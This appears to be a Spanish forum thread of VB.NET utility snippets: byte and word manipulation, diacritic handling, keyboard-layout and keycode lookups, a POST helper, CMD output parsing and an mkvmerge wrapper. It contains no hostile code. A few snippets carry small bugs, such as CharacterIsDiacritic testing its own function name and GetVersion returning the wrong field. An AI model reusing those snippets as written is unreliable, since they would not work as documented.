Dim HiBytes As Byte() = BitConverter.GetBytes(HiDword)
Dim Combined As Byte() = LoBytes.Concat(HiBytes).ToArray
Return BitConverter.ToInt64(Combined, 0)
End Function
Algunos métodos más sobre bytes.
' Set LoByte
' ( By Elektro )
'
' Usage Examples:
' MsgBox(SetHiByte(321, 0S)) ' Result: 65S
'
''' <summary>
''' Sets the low-order byte of an 'Int16' value.
''' </summary>
''' <param name="Value">Indicates the 'Int16' value that contains both the LoByte and the HiByte.</param>
''' <param name="NewLoByte">Indicates the new LoByte, a 'Byte' value.</param>
''' <returns>The 'Int16' value containing both the HiByte and the new LoByte.</returns>
Private Function SetLoByte(ByVal Value As Short,
ByVal NewLoByte As Byte) As Short
Dim ValueBytes As Byte() = BitConverter.GetBytes(Value)
ValueBytes(0) = NewLoByte
Return BitConverter.ToInt16(ValueBytes, 0)
End Function
' Set HiByte
' ( By Elektro )
'
' Usage Examples:
' MsgBox(SetHiByte(65S, 1S)) ' Result: 321S
'
''' <summary>
''' Sets the high-order byte of an 'Int16' value.
''' </summary>
''' <param name="Value">Indicates the 'Int16' value that contains both the LoByte and the HiByte.</param>
''' <param name="NewHiByte">Indicates the new HiByte, a 'Byte' value.</param>
''' <returns>The 'Int16' value containing both the LoByte and the new HiByte.</returns>
Private Function SetHiByte(ByVal Value As Short,
ByVal NewHiByte As Byte) As Short
Dim ValueBytes As Byte() = BitConverter.GetBytes(Value)
ValueBytes(1) = NewHiByte
Return BitConverter.ToInt16(ValueBytes, 0)
End Function
' Set LoWord
' ( By Elektro )
'
' Usage Examples:
' MsgBox(SetLoWord(13959358I, 6S)) ' Result: 13959174I
'
''' <summary>
''' Sets the low-order word of an 'Int32' value.
''' </summary>
''' <param name="Value">Indicates the 'Int32' value that contains both the LoWord and the HiWord.</param>
''' <param name="NewLoWord">Indicates the new LoWord, an 'Int16' value.</param>
''' <returns>The 'Int32' value containing both the HiWord and the new LoWord.</returns>
Private Function SetLoWord(ByVal Value As Integer,
ByVal NewLoWord As Short) As Integer
Dim ValueBytes As Byte() = BitConverter.GetBytes(Value)
Dim LoWordBytes As Byte() = BitConverter.GetBytes(NewLoWord)
ValueBytes(0) = LoWordBytes(0)
ValueBytes(1) = LoWordBytes(1)
Return BitConverter.ToInt32(ValueBytes, 0)
End Function
' Set HiWord
' ( By Elektro )
'
' Usage Examples:
' MsgBox(SetHiWord(13959358I, 25S)) ' Result: 1638590I
'
''' <summary>
''' Sets the high-order word of an 'Int32' value.
''' </summary>
''' <param name="Value">Indicates the 'Int32' value that contains both the LoWord and the HiWord.</param>
''' <param name="NewHiWord">Indicates the new HiWord, an 'Int16' value.</param>
''' <returns>The 'Int32' value containing both the LoWord and the new HiWord.</returns>
Private Function SetHiWord(ByVal Value As Integer,
ByVal NewHiWord As Short) As Integer
Dim ValueBytes As Byte() = BitConverter.GetBytes(Value)
Dim HiWordBytes As Byte() = BitConverter.GetBytes(NewHiWord)
ValueBytes(2) = HiWordBytes(0)
ValueBytes(3) = HiWordBytes(1)
Return BitConverter.ToInt32(ValueBytes, 0)
End Function
' Set LoDword (From a Signed Integer)
' ( By Elektro )
'
' Usage Examples:
' MsgBox(SetLoDword(328576329396160L, -1553649828I)) ' Result: 328576329396060L
'
''' <summary>
''' Sets the low-order double word of an 'Int64' value.
''' </summary>
''' <param name="Value">Indicates the 'Int64' value that contains both the LoDword and the HiDword.</param>
''' <param name="NewLoDword">Indicates the new LoDword, an 'Int32' value.</param>
''' <returns>The 'Int64' value containing both the HiDword and the new LoDword.</returns>
Private Function SetLoDword(ByVal Value As Long,
ByVal NewLoDword As Integer) As Long
Dim ValueBytes As Byte() = BitConverter.GetBytes(Value)
Dim LoDwordBytes As Byte() = BitConverter.GetBytes(NewLoDword)
ValueBytes(0) = LoDwordBytes(0)
ValueBytes(1) = LoDwordBytes(1)
ValueBytes(2) = LoDwordBytes(2)
ValueBytes(3) = LoDwordBytes(3)
Return BitConverter.ToInt64(ValueBytes, 0)
End Function
' Set HiDword (From a Signed Integer)
' ( By Elektro )
'
' Usage Examples:
' MsgBox(SetHiDword(328576329396160L, 987654321I)) ' Result: 4241943011189403584L
'
''' <summary>
''' Sets the high-order double word of an 'Int64' value.
''' </summary>
''' <param name="Value">Indicates the 'Int64' value that contains both the LoDword and the HiDword.</param>
''' <param name="NewHiDword">Indicates the new HiDword, an 'Int32' value.</param>
''' <returns>The 'Int64' value containing both the LoDword and the new HiDword.</returns>
Private Function SetHiDword(ByVal Value As Long,
ByVal NewHiDword As Integer) As Long
Dim ValueBytes As Byte() = BitConverter.GetBytes(Value)
Dim HiDwordBytes As Byte() = BitConverter.GetBytes(NewHiDword)
ValueBytes(4) = HiDwordBytes(0)
ValueBytes(5) = HiDwordBytes(1)
ValueBytes(6) = HiDwordBytes(2)
ValueBytes(7) = HiDwordBytes(3)
Return BitConverter.ToInt64(ValueBytes, 0)
End Function
' Set LoDword (From an Unsigned Integer)
' ( By Elektro )
'
' Usage Examples:
' MsgBox(SetLoDword(328576329396160L, 123456789UI)) ' Result: 328573711535381L
'
''' <summary>
''' Sets the low-order double word of an 'Int64' value.
''' </summary>
''' <param name="Value">Indicates the 'Int64' value that contains both the LoDword and the HiDword.</param>
''' <param name="NewLoDword">Indicates the new LoDword, an 'UInt32' value.</param>
''' <returns>The 'Int64' value containing both the HiDword and the new LoDword.</returns>
Private Function SetLoDword(ByVal Value As Long,
ByVal NewLoDword As UInteger) As Long
Dim ValueBytes As Byte() = BitConverter.GetBytes(Value)
Dim LoDwordBytes As Byte() = BitConverter.GetBytes(NewLoDword)
ValueBytes(0) = LoDwordBytes(0)
ValueBytes(1) = LoDwordBytes(1)
ValueBytes(2) = LoDwordBytes(2)
ValueBytes(3) = LoDwordBytes(3)
Return BitConverter.ToInt64(ValueBytes, 0)
End Function
' Set HiDword (From an Unsigned Integer)
' ( By Elektro )
'
' Usage Examples:
' MsgBox(SetHiDword(328576329396160L, 987654321UI)) ' Result: 4241943011189403584L
'
''' <summary>
''' Sets the high-order double word of an 'Int64' value.
''' </summary>
''' <param name="Value">Indicates the 'Int64' value that contains both the LoDword and the HiDword.</param>
''' <param name="NewHiDword">Indicates the new HiDword, an 'UInt32' value.</param>
''' <returns>The 'Int64' value containing both the LoDword and the new HiDword.</returns>
Private Function SetHiDword(ByVal Value As Long,
ByVal NewHiDword As UInteger) As Long
Dim ValueBytes As Byte() = BitConverter.GetBytes(Value)
Dim HiDwordBytes As Byte() = BitConverter.GetBytes(NewHiDword)
ValueBytes(4) = HiDwordBytes(0)
ValueBytes(5) = HiDwordBytes(1)
ValueBytes(6) = HiDwordBytes(2)
ValueBytes(7) = HiDwordBytes(3)
Return BitConverter.ToInt64(ValueBytes, 0)
End Function
Determina si un caracter es diacrítico o si contiene una marca diacrítica (no es 100% efectivo con caracteres demasiado raros de otras culturas)
' Character Is Diacritic?
' ( By Elektro )
'
' Usage Examples:
' MsgBox(CharacterIsDiacritic("á")) ' Result: True
'
''' <summary>
''' Determines whether a character is diacritic or else contains a diacritical mark.
''' </summary>
''' <param name="Character">Indicates the character.</param>
''' <returns><c>true</c> if character is diacritic or contains a diacritical mark, <c>false</c> otherwise.</returns>
Public Function CharacterIsDiacritic(ByVal Character As Char) As Boolean
If String.IsNullOrEmpty(CharacterIsDiacritic) Then
Return False
Else
Dim Descomposed As Char() = Character.ToString.Normalize(System.Text.NormalizationForm.FormKD).ToCharArray
Return (Descomposed.Count <> 1 OrElse String.IsNullOrWhiteSpace(Descomposed))
End If
End Function
Convierte un caracter diacritico
' Convert Diacritic Character
' ( By Elektro )
'
' Usage Examples:
' MsgBox(ConvertDiacritic("á", UnicodeNormalization:=System.Text.NormalizationForm.FormKD)) ' Result: 'a'
'
''' <summary>
''' Converts the diacritic characters in a String to an equivalent normalized English characters.
''' </summary>
''' <param name="Character">
''' Indicates the diacritic character.
''' </param>
''' <param name="UnicodeNormalization">
''' Defines the type of Unicode character normalization to perform.
''' (Default is 'NormalizationForm.FormKD')
''' </param>
''' <returns>The converted character.</returns>
Public Function ConvertDiacritic(ByVal Character As Char,
Optional ByVal UnicodeNormalization As System.Text.NormalizationForm =
System.Text.NormalizationForm.FormKD) As String
Dim Chars As Char() =
CStr(Character).Normalize(System.Text.NormalizationForm.FormKD).ToCharArray
For Each c As Char In Chars
Select Case Globalization.CharUnicodeInfo.GetUnicodeCategory(c)
Case Globalization.UnicodeCategory.NonSpacingMark,
Globalization.UnicodeCategory.SpacingCombiningMark,
Globalization.UnicodeCategory.EnclosingMark
' Do nothing.
Exit Select
Case Else
Return c
End Select
Next c
Return Character
End Function
Obtiene el keyboardlayout
' Get Keyboard Layout
' ( By Elektro )
'
' Usage Examples:
' MsgBox(GetKeyboardLayout(IntPtr.Zero)) ' Result: 10
' MsgBox(GetKeyboardLayout(Process.GetCurrentProcess.MainWindowHandle)) ' Result: 10
'
''' <summary>
''' Retrieves the active input locale identifier (formerly called the keyboard layout).
''' </summary>
''' <param name="idThread">
''' A window handle identifier of the thread to query, or 'IntPtr.Zero' to query the current thread.
''' </param>
''' <returns>
''' The return value is the input locale identifier for the thread.
''' </returns>
Public Shared Function GetKeyboardLayout(Optional ByVal idThread As IntPtr = Nothing) As Short
Return BitConverter.GetBytes(APIGetKeyboardLayout(idThread)).First
End Function
''' <summary>
''' Retrieves the active input locale identifier (formerly called the keyboard layout).
''' </summary>
''' <param name="idThread">
''' A window handle identifier of the thread to query, or 'IntPtr.Zero' to query the current thread.
''' </param>
''' <returns>
''' The return value is the input locale identifier for the thread.
'''
''' The low-order byte contains a Language Identifier for the input language,
''' and the high-order byte contains a device handle to the physical layout of the keyboard.
''' </returns>
<System.Runtime.InteropServices.DllImport("user32.dll", EntryPoint:="GetKeyboardLayout",
CharSet:=System.Runtime.InteropServices.CharSet.Unicode)>
Private Shared Function APIGetKeyboardLayout(
Optional ByVal idThread As IntPtr = Nothing
) As UInteger
End Function
Obtiene el keycode de un caracter (ojo, no el keycode virtual).
' Get KeyCode
' ( By Elektro )
'
' Usage Examples:
' MsgBox(GetKeyCode("a")) ' Result: 65
' MsgBox(GetKeyCode("á")) ' Result: 65
' MsgBox(GetKeyCode("á", IntPtr.Zero)) ' Result: 65
' MsgBox(GetKeyCode("a", Process.GetCurrentProcess.MainWindowHandle)) ' Result: 65
'
'Private Sub Test() Handles MyBase.Shown
' Dim sb As New System.Text.StringBuilder
' Dim Characters As Char() = "ABCDEFGHIJKLMNOPQRSTUVWXYZ ñÑçÇ áéíóú ÁÉÍÓÚ àèìòù ÀÈÌÒÙ äëïÖÜ ÄËÏÖÜ º\'¡`+´-.,ª!·$%&/()=?¿".ToCharArray
' For Each c As Char In Characters
' sb.AppendFormat("Character: {0}", CStr(c))
' sb.AppendLine()
' sb.AppendFormat("KeyCode : {0}", CStr(GetKeyCode(c, IntPtr.Zero)))
' MessageBox.Show(sb.ToString)
' sb.Clear()
' Next c
'End Sub
''' <summary>
''' Translates a character to the corresponding keycode.
''' </summary>
''' <param name="Character">Indicates the character.</param>
''' <param name="KeyboardLayout">Indicates the keyboard layout.</param>
''' <returns>
''' If the function succeeds, the return value contains the keycode.
'''
''' If the function finds no key that translates to the passed character code,
''' the return value contains "-1".
''' </returns>
Public Shared Function GetKeyCode(ByVal Character As Char,
Optional ByVal KeyboardLayout As IntPtr = Nothing) As Short
' Get the Keycode of the character.
Dim Keycode As Short =
BitConverter.GetBytes(VkKeyScanEx(Character)).First
Select Case Keycode
Case Is <> 255S ' Character is found on the current KeyboardLayout.
Return Keycode
Case Else ' Character is not found on the current KeyboardLayout.
' Descompose the character.
Dim Descomposed As Char() =
Character.ToString.Normalize(System.Text.NormalizationForm.FormKD).ToCharArray
' If character is diacritic then...
If Descomposed.Count <> 1 OrElse String.IsNullOrWhiteSpace(Descomposed) Then
For Each c As Char In Descomposed
Select Case Globalization.CharUnicodeInfo.GetUnicodeCategory(c)
Case Globalization.UnicodeCategory.NonSpacingMark,
Globalization.UnicodeCategory.SpacingCombiningMark,
Globalization.UnicodeCategory.EnclosingMark
' Do nothing.
Exit Select
Case Else ' Character is diacritic so we convert the diacritic and try to find the Keycode.
Return GetKeyCode(c, KeyboardLayout)
End Select
Next c
End If ' Chars.Count <> 1
End Select ' Keycode
Return -1S ' Character is not diacritic and the keycode is not found.
End Function
''' <summary>
''' Translates a character to the corresponding virtual-key code and shift state.
''' The function translates the character using the input language and
''' physical keyboard layout identified by the input locale identifier.
''' For more info see here:
''' http://msdn.microsoft.com/en-us/library/ms646332%28v=VS.85%29.aspx
''' </summary>
''' <param name="c">Indicates the character.</param>
''' <param name="KeyboardLayout">Indicates the keyboard layout.</param>
''' <returns>
''' If the function succeeds,
''' the low-order byte of the return value contains the virtual-key code,
''' and the high-order byte contains the shift state.
'''
''' If the function finds no key that translates to the passed character code,
''' both the low-order and high-order bytes contain '255'.
''' </returns>
<System.Runtime.InteropServices.DllImport("user32.dll",
CharSet:=System.Runtime.InteropServices.CharSet.Unicode)>
Private Shared Function VkKeyScanEx(
ByVal c As Char,
Optional ByVal KeyboardLayout As IntPtr = Nothing
) As Short
End Function
Envio de peticion por el método POST
' Send POST
' ( By Elektro )
'
' Usage Examples:
'
'Dim Response As String =
' SendPOST("http://es.wikipedia.org/wiki/Special:Search?",
' New Dictionary(Of String, String) From {
' {"search", "Petición+POST"},
' {"sourceid", "Mozilla-search"}
' }) ' Formated POST Data: "search=Petición+POST&sourceid=Mozilla-search"
'Clipboard.SetText(Response) ' Copy the response to Clipboard.
'
''' <summary>
''' Sends a POST method petition and returns the server response.
''' </summary>
''' <param name="URL">Indicates the URL.</param>
''' <param name="PostData">Indicates the post data.</param>
''' <returns>The response.</returns>
Public Function SendPOST(ByVal URL As String,
ByVal PostData As Dictionary(Of String, String)) As String
Dim Data As New System.Text.StringBuilder ' PostData to send, formated.
Dim Request As Net.HttpWebRequest = HttpWebRequest.Create(URL) ' HTTP Request.
Dim Response As HttpWebResponse ' Server response.
Dim ResponseContent As String ' Server response result.
' Set and format the post data of the query.
For Each Item As KeyValuePair(Of String, String) In PostData
Data.AppendFormat("{0}={1}&", Item.Key, Item.Value)
Next Item
' Set the Request properties.
With Request
.Method = "POST"
.ContentType = "application/x-www-form-urlencoded"
.ContentLength = Data.ToString.Length
.Proxy = Nothing
' .UserAgent = "Mozilla/5.0 (Windows NT 6.2; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0"
End With
' Write the POST data bytes into the Stream.
Using RequestStream As IO.Stream = Request.GetRequestStream()
RequestStream.Write(System.Text.Encoding.UTF8.GetBytes(Data.ToString), 0, Data.ToString.Length)
RequestStream.Close()
End Using
' Get the response.
Response = Request.GetResponse()
' Get the response content.
Using Reader As New IO.StreamReader(Response.GetResponseStream)
ResponseContent = Reader.ReadToEnd
Response.Close()
End Using
' Return the response content.
Return ResponseContent
End Function
uuh u_u esperaba q fueran para c#
Usa esta herramienta:
http://www.developerfusion.com/tools/convert/vb-to-csharp/
Como limpiar la consola de depuración, en cualquier momento:
Nota: Asegurarse de no tener más de 1 instancia de VisualStudio en ejecución.
' Clear Debug-Console Output
' By Elektro
'
' Instructions:
' 1. Add a reference to 'EnvDTE' and 'envdte80'
'
''' <summary>
''' Clears the debug console output.
''' </summary>
Public Sub ClearDebugConsoleOutput()
DirectCast(Runtime.InteropServices.Marshal.GetActiveObject("VisualStudio.DTE.12.0"), EnvDTE80.DTE2).
ToolWindows.OutputWindow.OutputWindowPanes.Item("Debug").Clear()
End Sub
Como obtener el output de la consola de depuración, en cualquier momento:
Nota: Asegurarse de no tener más de 1 instancia de VisualStudio en ejecución.
' Get Debug-Console Output
' By Elektro
'
' Instructions:
' 1. Add a reference to 'EnvDTE' and 'envdte80'
'
' Usage Examples:
'
' Clipboard.SetText(GetDebugConsoleOutput)
'
''' <summary>
''' Gets the debug console output.
''' </summary>
''' <returns>System.String.</returns>
Public Function GetDebugConsoleOutput() As String
Dim Output As EnvDTE.TextSelection =
DirectCast(Runtime.InteropServices.Marshal.GetActiveObject("VisualStudio.DTE.12.0"), EnvDTE80.DTE2).
ToolWindows.OutputWindow.OutputWindowPanes.Item("Debug").TextDocument.Selection
Output.SelectAll()
Return Output.Text
End Function
Como promprobar si un Type es serializable:
' Is Type Serializable?
' By Elektro
'
' Usage Examples:
'
'MsgBox(IsTypeSerializable(Of String))
'MsgBox(IsTypeSerializable(GetType(Form)))
'MsgBox(IsTypeSerializable(0.0F.GetType))
'
''' <summary>
''' Determines whether a Type can be serialized.
''' </summary>
''' <typeparam name="T"></typeparam>
''' <returns><c>true</c> if Type can be serialized; otherwise, <c>false</c>.</returns>
Private Function IsTypeSerializable(Of T)() As Boolean
Return Attribute.IsDefined(GetType(T), GetType(SerializableAttribute))
End Function
''' <summary>
''' Determines whether a Type can be serialized.
''' </summary>
''' <typeparam name="T"></typeparam>
''' <param name="Type">The Type.</param>
''' <returns><c>true</c> if Type can be serialized; otherwise, <c>false</c>.</returns>
Private Function IsTypeSerializable(Of T)(ByVal Type As T) As Boolean
Return Attribute.IsDefined(GetType(T), GetType(SerializableAttribute))
End Function
Como comprobar si un objeto es serializable:
' Is Object Serializable?
' By Elektro
'
' Usage Examples:
'
'MsgBox(IsObjectSerializable(New ArrayList From {"String Item"}, SerializationFormat.Xml)) ' Result: True
'MsgBox(IsObjectSerializable(New ArrayList From {New Object() {"Collection", "Of", "Strings"}})) ' Result: False
'
''' <summary>
''' Determines whether an object can be serialized.
''' </summary>
''' <param name="Object">The object.</param>
''' <returns><c>true</c> if object can be serialized; otherwise, <c>false</c>.</returns>
Private Function IsObjectSerializable(ByVal [Object] As Object,
Optional ByVal SerializationFormat As SerializationFormat =
SerializationFormat.Xml) As Boolean
Dim Serializer As Object
Using fs As New IO.MemoryStream
Select Case SerializationFormat
Case Data.SerializationFormat.Binary
Serializer = New Runtime.Serialization.Formatters.Binary.BinaryFormatter()
Case Data.SerializationFormat.Xml
Serializer = New Xml.Serialization.XmlSerializer([Object].GetType)
Case Else
Throw New ArgumentException("Invalid SerializationFormat", SerializationFormat)
End Select
Try
Serializer.Serialize(fs, [Object])
Return True
Catch ex As InvalidOperationException
Return False
End Try
End Using ' fs As New MemoryStream
End Function
Ejemplo de sintaxis para una condicional de .Net Framework del proyecto.
#If NET20 Then
' This happens when the app targets .NEt Framework 2.0
#ElseIf NET40 Then
' This happens when the app targets .NEt Framework 4.0
#End If
Ejemplo detallado de como parsear la salida estándar y la salida de error de un proceso, de forma asíncrona.
' Usage Examples:
' MessageBox.Show(RunCommand(Command:="Dir /B /S C:\*.*", Find:=".exe"))
' MessageBox.Show(RunCommand(Command:="Dir /B /S C:\*.*", Find:=".xXx"))
''' <summary>
''' The Process Object.
''' </summary>
Private WithEvents MyProcess As Process =
New Process With {.StartInfo =
New ProcessStartInfo With {
.CreateNoWindow = True,
.UseShellExecute = False,
.RedirectStandardError = True,
.RedirectStandardOutput = True
}
}
''' <summary>
''' Indicates the string to search.
''' </summary>
Private Find As String = String.Empty
''' <summary>
''' Determines whether a result is found.
''' </summary>
Private ResultFound As Boolean = False
''' <summary>
''' Runs a command on the CMD.
''' </summary>
''' <param name="Command">Indicates the Command to run.</param>
''' <param name="Find">Indicates a string to find in the Output.</param>
''' <returns><c>true</c> if the specified string is found, <c>false</c> otherwise.</returns>
Public Function RunCommand(ByVal Command As String,
ByVal Find As String) As Boolean
Me.Find = Find
Me.ResultFound = False
With MyProcess
AddHandler .OutputDataReceived, AddressOf RunCommand_OutputDataReceived
AddHandler .ErrorDataReceived, AddressOf RunCommand_ErrorDataReceived
.StartInfo.FileName = "CMD.exe"
.StartInfo.Arguments = "/C " & ControlChars.Quote & Command & ControlChars.Quote
.Start()
.BeginOutputReadLine()
.BeginErrorReadLine()
.WaitForExit()
RemoveHandler .OutputDataReceived, AddressOf RunCommand_OutputDataReceived
RemoveHandler .ErrorDataReceived, AddressOf RunCommand_ErrorDataReceived
End With
Return Me.ResultFound
End Function
''' <summary>
''' Handles the 'OutputDataReceived' of the 'RunCommand' method.
''' </summary>
''' <param name="sender">The source of the event.</param>
''' <param name="e">The <see cref="DataReceivedEventArgs"/> instance containing the event data.</param>
Private Sub RunCommand_OutputDataReceived(ByVal sender As Object, ByVal e As DataReceivedEventArgs)
If e.Data Is Nothing OrElse Me.ResultFound Then
With MyProcess
.CancelOutputRead()
If Not .HasExited Then
Try
.Kill()
Debug.WriteLine("Process killed successfully!")
Catch ex As Exception
Debug.WriteLine(ex.Message)
End Try
End If
End With
ElseIf e.Data.ToLower.Contains(Me.Find.ToLower) Then
Me.ResultFound = True
Debug.WriteLine("StdOut: " & e.Data)
Debug.WriteLine("Result Found!")
Debug.WriteLine("Stopping CMD execution at this point...")
Else
Debug.WriteLine("StdOut: " & e.Data)
End If
End Sub
''' <summary>
''' Handles the 'ErrorDataReceived' of the 'RunCommand' method.
''' </summary>
''' <param name="sender">The source of the event.</param>
''' <param name="e">The <see cref="DataReceivedEventArgs"/> instance containing the event data.</param>
Private Sub RunCommand_ErrorDataReceived(ByVal sender As Object, ByVal e As DataReceivedEventArgs)
If e.Data Is Nothing OrElse Me.ResultFound Then
With MyProcess
.CancelErrorRead()
If Not .HasExited Then
Try
.Kill()
Debug.WriteLine("Process killed successfully!")
Catch ex As Exception
Debug.WriteLine(ex.Message)
End Try
End If
End With
Else
Debug.WriteLine("StdErr: " & e.Data)
End If
End Sub
Un ayudante del proceso MKVMerge (de MKVToolnix)
No le aádí casi funcionalidades, solamente las que necesité usar:
' ***********************************************************************
' Author : Elektro
' Last Modified On : 07-24-2014
' ***********************************************************************
' <copyright file="MKVMergeHelper.vb" company="Elektro Studios">
' Copyright (c) Elektro Studios. All rights reserved.
' </copyright>
' ***********************************************************************
#Region " Usage Examples "
'Using MKVMerge As New MKVMergeHelper
' MessageBox.Show(MKVMerge.Version)
' MessageBox.Show(MKVMerge.ContainsTrackType("File.mkv", MKVMergeHelper.TrackType.Subtitle))
'End Using
#End Region
Public Class MKVMergeHelper : Implements IDisposable
#Region " Properties "
''' <summary>
''' Gets or sets the mkvmerge.exe file location.
''' </summary>
''' <value>The MKVmerge.exe file location.</value>
Public Property MKVMergeLocation As String = ".\mkvmerge.exe"
''' <summary>
''' Gets the MKVMerge.exe version.
''' </summary>
''' <value>The MKVMerge.exe version.</value>
Public ReadOnly Property Version As String
Get
Me.GetVersion()
Return Me._Version
End Get
End Property
Private _Version As String = String.Empty
#End Region
#Region " Other Objects "
''' <summary>
''' The MKVMerge Process Object.
''' </summary>
Private WithEvents procMKVMerge As Process =
New Process With {.StartInfo =
New ProcessStartInfo With {
.CreateNoWindow = True,
.UseShellExecute = False,
.RedirectStandardError = True,
.RedirectStandardOutput = True
}
}
''' <summary>
''' Determines whether a file contains the specified track type.
''' </summary>
Private TrackTypeFound As Boolean = False
''' <summary>
''' Indicates the current tracktype to search.
''' </summary>
Private CurrentTrackType As TrackType = Nothing
#End Region
#Region " Enumerations "
''' <summary>
''' Specifies a type of track.
''' </summary>
Public Enum TrackType As Integer
''' <summary>
''' Video track.
''' </summary>
Video = 0
''' <summary>
''' Audio track.
''' </summary>
Audio = 1
''' <summary>
''' Subtitle.
''' </summary>
Subtitle = 2
''' <summary>
''' Attachment.
''' </summary>
Attachment = 3
End Enum
#End Region
#Region " Public Methods "
''' <summary>
''' Determines whether mkvmerge.exe file exist.
''' </summary>
''' <returns><c>true</c> if mkvmerge.exe file exist; otherwise, <c>false</c>.</returns>
Public Function IsAvaliable() As Boolean
Return IO.File.Exists(Me.MKVMergeLocation)
End Function
''' <summary>
''' Determines whether a file contains the specified track type.
''' </summary>
''' <param name="file">Indicates the file.</param>
''' <param name="TrackType">Indicates the type of the track.</param>
''' <returns><c>true</c> if the specified track type is found, <c>false</c> otherwise.</returns>
Public Function ContainsTrackType(ByVal file As String, ByVal TrackType As TrackType) As Boolean
Me.CurrentTrackType = TrackType
Me.TrackTypeFound = False
With procMKVMerge
AddHandler .OutputDataReceived, AddressOf ContainsTrackType_OutputDataReceived
.StartInfo.FileName = Me.MKVMergeLocation
.StartInfo.Arguments = String.Format("--identify ""{0}""", file)
.Start()
.BeginOutputReadLine()
.WaitForExit()
RemoveHandler .OutputDataReceived, AddressOf ContainsTrackType_OutputDataReceived
End With
Return Me.TrackTypeFound
End Function
#End Region
#Region " Private Methods "
''' <summary>
''' Gets the MKVMerge.exe file version.
''' </summary>
''' <returns>The MKVMerge.exe file version.</returns>
Private Function GetVersion() As String
Me._Version = String.Empty
With procMKVMerge
AddHandler .OutputDataReceived, AddressOf GetVersion_OutputDataReceived
.StartInfo.FileName = Me.MKVMergeLocation
.StartInfo.Arguments = String.Format("--version")
.Start()
.BeginOutputReadLine()
.WaitForExit()
RemoveHandler .OutputDataReceived, AddressOf GetVersion_OutputDataReceived
End With
Return Me.TrackTypeFound
End Function
#End Region
#Region " Event Handlers "
''' <summary>
''' Handles the OutputDataReceived of the ContainsTrackType method.
''' </summary>
''' <param name="sender">The source of the event.</param>
''' <param name="e">The <see cref="DataReceivedEventArgs"/> instance containing the event data.</param>
''' <exception cref="System.Exception"></exception>
Private Sub ContainsTrackType_OutputDataReceived(ByVal sender As Object, ByVal e As DataReceivedEventArgs)
If e.Data Is Nothing OrElse Me.TrackTypeFound Then
With procMKVMerge
.CancelOutputRead()
If Not .HasExited Then
Try
.Kill()
Catch
End Try
End If
End With
ElseIf e.Data.StartsWith("Error:", StringComparison.OrdinalIgnoreCase) Then
Throw New Exception(e.Data)
ElseIf Me.CurrentTrackType = TrackType.Video _
AndAlso e.Data.ToLower Like "track id #*: video*" Then
Me.TrackTypeFound = True
ElseIf Me.CurrentTrackType = TrackType.Audio _
AndAlso e.Data.ToLower Like "track id #*: audio*" Then
Me.TrackTypeFound = True
ElseIf Me.CurrentTrackType = TrackType.Subtitle _
AndAlso e.Data.ToLower Like "track id #*: subtitle*" Then
Me.TrackTypeFound = True
ElseIf Me.CurrentTrackType = TrackType.Attachment _
AndAlso e.Data.ToLower Like "attachment id*" Then
Me.TrackTypeFound = True
End If
End Sub
''' <summary>
''' Handles the OutputDataReceived of the GetVersion method.
''' </summary>
''' <param name="sender">The source of the event.</param>
''' <param name="e">The <see cref="DataReceivedEventArgs"/> instance containing the event data.</param>
''' <exception cref="System.Exception"></exception>
Private Sub GetVersion_OutputDataReceived(ByVal sender As Object, ByVal e As DataReceivedEventArgs)
If e.Data Is Nothing OrElse Not String.IsNullOrEmpty(Me._Version) Then
With procMKVMerge
.CancelOutputRead()
If Not .HasExited Then
Try
.Kill()
Catch
End Try
End If
End With
ElseIf e.Data.StartsWith("Error:", StringComparison.OrdinalIgnoreCase) Then
Throw New Exception(e.Data)
ElseIf e.Data.ToLower Like "mkvmerge v#.*" Then
Me._Version = e.Data.Split()(1).Substring(1)
End If
End Sub
#End Region
#Region " IDisposable "
''' <summary>
''' To detect redundant calls when disposing.
''' </summary>
Private IsDisposed As Boolean = False
''' <summary>
''' Prevents calls to methods after disposing.
''' </summary>
Private Sub DisposedCheck()
If Me.IsDisposed Then
Throw New ObjectDisposedException(Me.GetType().FullName)
End If
End Sub
''' <summary>
''' Disposes the objects generated by this instance.
''' </summary>
Public Sub Dispose() Implements IDisposable.Dispose
Dispose(True)
GC.SuppressFinalize(Me)
End Sub
' IDisposable
Protected Overridable Sub Dispose(IsDisposing As Boolean)
If Not Me.IsDisposed Then
If IsDisposing Then
procMKVMerge.Dispose()
End If
End If
Me.IsDisposed = True
End Sub
#End Region
End Class
¿Como prevenir la instancia de una Class si ya tienes otra Class instanciada a la que le pasaste el mismo parámetro a su constructor?, pues de esta manera:
#Region " Example Usage "
'Private Sub Test() Handles MyBase.Shown
'
' Dim MyObject As Byte = 0
'
' Using TestObj1 As New TestClass(MyObject)
'
' Try
' Dim TestObj2 As New TestClass(MyObject)
'
' Catch ex As Exception
' MessageBox.Show(ex.Message)
'
' End Try
'
' End Using
'
'End Sub
#End Region
#Region " TestClass "
Public Class TestClass : Implements IDisposable
Private Shared InstancedObjects As New List(Of Object)
Private _MyObject As Object
Public Sub New(ByVal Parameter As Object)
If Not InstancedObjects.Contains(Parameter) Then
Me._MyObject = Parameter
InstancedObjects.Add(Parameter)
Else
Throw New Exception(String.Format("Another open instance of the '{0}' class is using the same '{1}' object.",
MyBase.GetType.Name, Parameter.GetType.Name))
End If
End Sub
#Region " IDisposable "
''' <summary>
''' To detect redundant calls when disposing.
''' </summary>
Private IsDisposed As Boolean = False
''' <summary>
''' Prevent calls to methods after disposing.
''' </summary>
''' <exception cref="System.ObjectDisposedException"></exception>
Private Sub DisposedCheck()
If Me.IsDisposed Then
Throw New ObjectDisposedException(Me.GetType.FullName)
End If
End Sub
''' <summary>
''' Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources.
''' </summary>
Public Sub Dispose() Implements IDisposable.Dispose
Me.Dispose(True)
GC.SuppressFinalize(Me)
End Sub
''' <summary>
''' Releases unmanaged and - optionally - managed resources.
''' </summary>
''' <param name="IsDisposing">
''' <c>true</c> to release both managed and unmanaged resources;
''' <c>false</c> to release only unmanaged resources.
''' </param>
Protected Sub Dispose(ByVal IsDisposing As Boolean)
If Not Me.IsDisposed Then
If IsDisposing Then
InstancedObjects.Remove(Me._MyObject)
End If
End If
Me.IsDisposed = True
End Sub
#End Region
End Class
#End Region
Como crear un archivo dummy (vacío) de cualquier tamaño:
' Create Dummy File
' By Elektro
'
' Usage Examples:
' CreateDummyFile("C:\DummyFile.tmp", 1024L ^ 3L) ' File with 1 GB size.
'
''' <summary>
''' Creates a dummy zero-filled file.
''' </summary>
''' <param name="Filepath">Indicates the filepath.</param>
''' <param name="Length">Indicates the size, in Bytes.</param>
Public Sub CreateDummyFile(ByVal Filepath As String,
